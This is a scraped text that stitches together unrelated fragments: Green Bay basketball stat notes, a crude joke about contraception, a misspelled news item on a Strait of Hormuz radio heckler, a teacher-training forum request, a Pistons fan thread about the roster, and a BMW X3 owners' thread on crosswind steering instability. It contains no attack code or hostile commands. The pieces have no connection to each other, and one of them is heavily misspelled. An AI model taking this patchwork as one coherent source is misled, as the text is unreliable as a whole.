• SECOND-HALF SYKES: Sykes, one of just two Horizon League players to be named Player of the Week at least three times this season, has done the majority of his damage in the clutch. In the past eight games against Horizon League foes, he has scored 105 of his 139 points in the second half or overtime, averaging 13.1 points after halftime. For the season, Sykes averages 9.2 points per game after halftime.
• INSIDE AND OUTSIDE THE ARC: Brown has played the best basketball of his career down the stretch this season. The 7-foot-1 Brown has 1,180 career points, and against League opponents this season he is averaging 15.8 points per game. Since the beginning of February against conference foes, Brown is averaging 18.1 and 2.3 blocks per game. In those nine games, he's shooting 52.8 percent (57-108), including 51.7 percent from three (15-29).
• DOMINANT DEFENSIVE DUO: Brown and Fouse both were named to the five-player All-Defensive Team after helping the Phoenix rank first in field goal percentage defense, rebounding and blocked shots in league play. Brown and Fouse are the first Phoenix players to be named all-defense since 2008-09 and the first Green Bay duo on the team since 1997-98. In addition, Fouse is the first freshman in the conference to be named to the All-Defensive Team since another Phoenix player, Terry Evans in 2005-06, and the first freshman to lead the Horizon League in rebounding since Northern Illinois' T.J. Lux in 1995-96.
• TOP OF THE CLASS: Fouse's rookie campaign has included impressive consistency, and he is now the holder of Green Bay's freshman records for rebounds (248) and steals (55) in a season. His 47 blocks are tied for the fourth-most by any Phoenix player, and with one more he will have more blocks in a season than any Green Bay player not named Alec Brown.

This contraceptive thing, my gosh, it's so inexpensive. Back in my days, they used Bayer aspirin for contraceptives. The gals put it between their knees, and it wasn't that costly.
Effective! After a day where an all-male panel testified on female contraception, it's refreshing to see someone who can make those guys look like geniuses.

The threatening radio transmissions at the end of a video showing harassing maneurvers byIranian patrol boats in the Strait of Hormuz may have come from a locally fmous hekler known amng ships as the "Filipino Monkey." At the end of the video, a voice is heard saying, ""I am coming to you. You will explode in a few minutes.." Navy women such as helicopter pilots are particuarly subject to verbal abuse by the unknown voice. According to Rick Hoffmn, a retired captain, "For 25 years there's been this mythical guy out there who, hour after hour, shouts obscenities and threats." Apparently the mysterious voice goes on day aftr day with his campaign against someone.
Apparently there are numerous voices sounding at any one moment when ships traverse the Strait of Hormuz. Perhaps, this is an example of US-Iranian cooperation to ensure that no mistakes occur because people have a monkey on their back.

Hello guys
Heard it's a good community over here so thought I'd come over and see if I can get some help for my DELTA, I'm currently trying to get my LSA 4 finished up and will be teaching the above topic.
I am trying to get as wide a list of possible learner issues with this area as I possibly can. Age/level does not necessarily matter at this point but any outlining of issues (and solutions if you have them!) would be greatly appreciated here!

Discussion in 'Pistons and NBA' started by roscoe36, Jun 28, 2012.
I agree with that. At #9, he HAD to take Drummond.
I've been waiting for someone to point this out. You may have added insight in an indirect way: like solving a situation by standing the approach on it's head. JD has now locked down some stability (especially with Kravtsov) on the defensive end, but what about the offensive (number 28 in the league) goals. Our guards will be of no further help. There are numerous slugs who can shoot, but can't run the floor, which is how you climb down from the lofty #28. There is one option floating around which most Piston fans would hate, but this player would be a very good offensive fit.
We talking bout practice? He just got cut by a soccer team that he didn't even try out for.
NBA Free Agent Rumors: Michael Beasley Drawing Interest From Suns, Pistons - SBNation.com

My point was after years of not getting much offense out of the C spot why do we suddenly demand it now? This is assuming of course that he plays C and Moose goes over to the 4.
No, you have the wrong mixture. On a running team he goes 3-4.
No longer wanted, he will change...just like CB did. In the pro's, I am sure that BenW would let him use his red glasses to complete the look.
Pass99............you state this like you had lunch with him........somehow, I believe you.
Thank god we're looking at Easy Beeze. The thought of going into the season with only 6 Small Forwards on the roster scares the (expletive) out of me! Heck, that would actually give us no less than 10 guys who could potentially play some form of Small Forward. I should probably dust off lee's rotations thread for this but here's a possible "medium ball" lineup: Tay: SFPG C-Magg: SFSG Beasley: SFSF Jerebko: SFPF Singler: SFC Reserves: Stuckey:SFPG English: SFSG Middleton: SFSF Daye: SFPF Villanueva: SFC The Pistons might win as many as 9 games next season with this group!
Since JD is building towards a roster of 25 players, 6 small forwards isn't unreasonable.......
Now that JD has his hands untied, I'm guessing that he is getting ready to unload some of our SF's. Here is our SF depth chart IMO: 1) Prince (too good and too old for us at this phase). 2) Jerebko (potentially a weak PF. he will probably play in every game where he is healthy as a starter or off the bench). 3) Singler (almost a first round draft pick at #33. MVP of final four at Duke. Full year of development in the overseas. Could get minutes or could get buried.) 4) Daye (almost a graduate of the push-up academy. Can hit scoreboard with medicine ball. Went from heir apparent to Prince to possible nobody in 1 season.) 5) Middleton (typical 2nd round wildcard. Probably won't get a chance before the other guys in front of him). 6) Villaneuva (although he's arguably a weak PF. Will probably never see real time at SF, but will be part of bench small ball at PF). That is really a high percentage of the roster at one position. We can shed 2 of these guys easily. Do you guys thing there is a plan here? What are your guesses? I could imagine some trades for future draft picks and small expiring contracts/ role players at different positions.
It's had to say if Joe has a plan given his afinity for unballenced rosters and the fact that we haven't seen a "plan" in such a long time that I forgot what one looks like. I'd like to note that you left out Maggette and Stuckey has seen time at SF in the past as well. IMO - Day is at the absolute bottom of the depth chart.
You get Daye if you add upp the shooting of JMax, the D of Chaz, the build of Tay, the handle of V-Mack, the agility of Abdenour and the mental strenght of [???] (I couldn't come up with anyone as mentally weak as Daye even by googling, he makes Darko look like Balboa). Get that dude out of here.
In 2011, Daye shot the same percentage from 3-point land as Ben Gordon and attempted them with the same frequency. His WS/minute was the same as Ben Wallace's and was higher than Prince/ Hamilton/ Gordon and many others. There was a reason that we were high on him going into the 2011/12 season. His shooting percentage ended up plummeting. His rebounded suffered a little. But his assist, steal, and block rate all increased. To me, this is just a shooting slump that probably had a cause. He did have a 28 point game against the Heat last year. I'm aware that he might be on a path to a 2nd tier European club team, but am also hopeful that he will turn out to be a reliable deep threat with just enough of a handle and length to make a contribution.
Boobie Gibson ruined him.
It will be an interesting summer league for Daye. Two summers ago, he rode a nice summer performance into a solid regular season. We'll see if last year was just a prolonged shooting slump, exacerbated by the condensed schedule, or if he really just sucks. He might be headed toward a solid Euro career.
Considering these facts, is it fair to assume that Arnie Kander deserves some blame for ruining Daye's shooting stroke?
It could be a Tiger Woods type situation. He broke down this game in the short run only to come back stronger in the long run.
If anyone can ruin your Daye, it's Arnie Kander.

2011 x3 3.5 highway stability
Hello, first post. I came upon this site when I googled steering issues for the 2011 x3 but so far have not seen my exact potential issue. We traded in or 2009 x3 for the 2011 and I have found that on the highway in moderate to high cross winds the car behaves erratically. The old x3 was very solid in high winds and continued on where you pointed it. This model the steering wheel will be on center but the car will pull to the left or right when hit by a cross wind (I admit I am guessing/hoping it's a cross wind that is instigating this). In other words, it appears the front wheels are moving independent of the steering wheel. I will have the steering wheel pointed straight and the car will literally drive into the other lane if I do not correct it by going in the opposite direction with the steering wheel. I would expect if my front wheels are pointed enough to move me to the other lane that would be reflected on the steering wheel position. It's a very strange sensation and I'm wondering if anyone else has had this experience.
thanks, jd
There have been some steering issues with the new one (johnbmw6, among others) so you might want to get the dealer to check yours out. Doesn't sound like normal high wind behavior, but it could have been road surface or something extraordinary.:dunno:
Could you be experiencing this?
Thanks for the responses
I don't believe it is tram lining in that the steering wheel does not move.. Just the direction of the car. For instance, I will be in the left lane and perhaps a gust of wind comes along and while the steering wheel is straight the car will move rather rapidly to the right lane while the wheel is still straight. (I have tested this by letting it go with no other drivers around). One more point is this behavior seems to lessen when I turn traction control off. Then it feels bit more like the old x3
Something else to help describe
Bascially I feel nothing at the steering wheel while the car is moving in another direction. No resistance or movement to reflect what the tires are doing. I have to basically overcompensate to the left or right with the steering wheel to get the car back into a straight line. So if I get blown right while the steering wheel is straight I feel out of contact with the front tires until I go pretty far off center to the left with the steering wheel. I then can put the steering wheel straight again to basically go straight again for a while. It's pretty disconcerting and something I have never experienced in any of the 3's, 1, or the older x3. And honestly all the corrections make for a not very relaxing long trip.
I have a 2011 35i and it does not do this. Doesn't sound normal to me and I haven't read of anyone elses X doing this. I would get it checked out.
I guess this is something you could take the dealer. Might also be a good question to ask Mike Miller from the Car Club.
man, you do live in the windy city! :)
thanks for the replies.
Very windy!:)
I will call the dealer and perhaps BMW to discuss I will update with any information.
wierd steering in windy conditions
I just posted another subject related to rain and standing water (http://www.bimmerfest.com/forums/sho...d.php?t=596223) --the car did very well. There were also winds gusting to 55+ mph, during which we slowed down considerably--I noticed two things depending on my direction relative to the wind:
1) in headwinds, the car is very stable. In winds 45 degree-ish frontal, the car is twitchy--I had the feeling it was aerodynamics--that is, the car "loads up" at speed--hit it with a heavy side wind and the airflow is upset...none of the car's actions even remotely approached lane drift. I was surprised that a direct crosswind was less noticeable than the 45 degree frontal.
2) The steering was never involved--the car still went where it was intended, but there were shudders as the air flow separated from the car surfaces. My wife initially thought we were feeling tiny skidding/correction issues--maybe standing water, but observation proves only heavy winds cause the issue.
This is no issue at all compared to my 1990 Suburban, which drifts into the next town in a 20mph wind.
Thank you for the information
So, if I am understanding correctly even when it was twitchy the steering wheel would reflect the direction of the tires? Or was the " twitch" minimal to the point where there was no directional difference between the tires and the intended direction of the vehicle as indicated by the position of the steering wheel?
Still haven't made it to the dealership but did some more testing. The issue is most evident above 70 miles an hour.
wierd steering in windy conditions
I only titled my post as "steering" since that was the original subject....
The twitches I observed did not effect the direction of the car--while I didn't choose to play with it, my feeling was that if I took my hands off the wheel, there would be no appreciable drift--I certainly was not having to correct via steering.
The feeling was odd--suggestive of the X-drive or DSC/DTC intervening in little wheel slips--that's why I thought it might be some minor hydroplaning since it was raining very hard, however, there was no indication of X-drive or DSC/DTC being activated.
In short, this was no big deal and I can see how maybe I shouldn't have brought it up--I don't have any further info with which to clarify--I was not concerned nor surprised by what we observed.
Since I was going 65 and the winds were gusting to 55mph, I would expect some noticeable reaction to virtually instant airspeed changes of 50-ish mph, particularly if at an oblique angle.
I hope this helps
I've noticed simular issues with mine. My 06 x3 could handle the road at 200KPH with one hand on the wheel and ran straight. The 2011 3.5i at that speed you better have both hands on the wheel and it uses up all off the driving lane. I never drive it out of sport mode it's to loose. I've have tried 2 sets of wheels RFT's and regular no difference. The older x3 had a stiffer ride but was way more stable
Sounds like I'm not alone then
04prox2 It sounds like you know exactly what I am talkimg about. Taking up the whole lane is another thing I have experienced and definitely feel like I need both hands on the wheel.
I also think the previous generation X3 handled massive crosswins better than the current generation (owned a 04, 10 and now a 2011).
I had chalked it up to the fact that the old X3 had a much stiffer suspension, and the straight line tracking seems to be less too. My car doesnt pull or drift, but it will follow the crown in the road more than the previous generation X3 which seemed to want to go straight.
I dont have sports package on my 25i, and in strong crosswinds (30+mph) I can feel the body roll giving the impression of lateral movement. That is why I felt I should have gotten the upgraded adjustable suspension for those conditions. I also agree that it is worse in 45deg winds than straight on or 90deg winds.
What I find that works best for me, is when in very windy conditions I rest my hands on the center spokes, rather than gripping the outside of the wheel. For me this gives a better sense of whats going on and prevents over compensation.
Well, my wife had taken the x3 on a long trip and said she doesn't notice any issues. I don't think she goes over 65mph so if she is happy perhaps I will let it rest until the scheduled maintenance. I am a little bummed that the experience between the old x3 and the new one are pretty much opposite.. low speed driving in the new one is a pleasure while higher speeds in the older version felt much closer to a e90 3 series. And again, turing off traction control seems to improve the stability on the new one so I will go with that when needed.
I dont know if that can help you at all, but I had the EXACT same issue with my 2008 Mini Cooper S, even my wife did not want to drive it. The dealer did not want to fix it, so I ditched the RFT and had a wheel alignment at my cost, and the problem was all gone.
I dont know if the RFT or the alignment fixed the problem, but it drove like a dream after that :)
Have the same issues with our 2012 x3 2.8i. The car is very stable in the city and highway ... however if traveling over 70 mph with a moderate cross wind you have to correct the car. Feels like car is going into other lanes or will be blown off the highway.
Unlikely a 4 wheel alignment issue (With no cross wind the car goes straight and drives very well at speeds in excess of 85mph).
Just bringing this issue up as recently bought x3 for our family car to replace Honda Odyssey Touring - That car (the Honda), on the highway, felt much more stable.
it is an unerving feeling.
I noticed that turning off traction control improved the tendency to fly into another lane. Perhaps give that a try and see if you notice any improvment, as well. HOnestly, our x3 hasnt been in for service yet so still waiting to talk to service advisor about it. I am surprised there is not more complaining about this on the internet.
I'd would have thought that with the Spartanburg autobahn not far from the factory that they'd figured out high-speed stability when doing final on-road testing.......(locals know which 15km stretch of hwy I'm talking about ;) )
Our 2011 X3 is more affected by cross-winds than I expected, given the well-controlled suspension. I did get an improvement by selecting Sport mode, set to change only the suspension settings and not the gear selection. The slightly stiffer shocks did help somewhat. The vehicle height probably has something to do with it as well.
when your x3 is pushed by a cross wind does the steering wheel move with the direction of the car? my wheel stays straight even though the car is moving toward another lane. this is the worst part.. feels really disconnected.

bdaj, I am feeling your pain. My 35 is just now a year old with 12,xxx miles. in the last couple of thousand, it seems to have gained a mind of its own in the steering department. it reacts very strangely when crossing seams on the highway, almost as if the tires want to stick to the seam and stay with it. i feel as if there are more lateral forces managing the car's direction than going forward in a straight line. its as if the steering wheel is not in control of the car's direction. very disconcerting, not at all fun to drive, tiring, embarrassing as i feel i am all over the road and someone should call a dwi unit! i took it to the dealer and test drove with the shop foreman. he noticed something was awry and suggested a 4 wheel alignment and a cross-rotation of the tires. on my dime by the way as it is not a covered item under the warranty. the alignment read out showed some things "red" which means they were out of spec, but did not show to what degree. but i went along with the recommended program. no change. i am going in for my annual oil change and will not accept the car back if this is not corrected. it is so disturbing that i am considering another brand. We have four BMW's in the family and i am extremely familiar with them. the '08 X-3 3.0si drives as if it is guided by lasers. its almost a sports car with its spot on handling, brakes, and steering. the new X-3 could be the same if they got this electric steering right. i have Pirelli Cinturato tires. all my other cars run Michelins. if i put the car in sport driving mode, it feels better, but its still not the way i think a BMW should handle. Crosswinds affect the steering as well as rough roads and longitudinal seams. This is very disturbing. my suspicion is its software, or control arm bushings, or possibly tires. my fear is that its the new electric power steering and this is just the way it is. more on this from after Monday or Tuesday when i hear back from the dealer. the new loaner X-3 2.8 is much better, but still has some of that sideways front end tendencies. lots of up and down on the front fenders noticable as you drive. thinking of trading to the new four cylinder but definitely not without a fix on this. otherwise i love the car. First Post!!
We took the car in for the annual service about 1 month ago. I explained the odd behavior to our service adviser. In addition to the poor handling we also had a few steering malfunction messages pop. Right away he said it sounded like a software issue. They ran some scans and found many faults for flex-ray (not sure what they were and I am reading off he service invoice). According to paper work they did an at5100_zgm to resync the flex-ray. They also did the update for the acceleration hesitation at the same time. The car is much much more stable now and the acceleration is much smoother. It feels like a different car and I enjoy driving it now!
Given how awful I-85 in Greenville & Spartanburg Counties is immediately in front of the BMW Greer plant, I'm surprised the engineers didn't realise this when they designed the vehicle. I mean, they DO test the prototypes in the real world.....
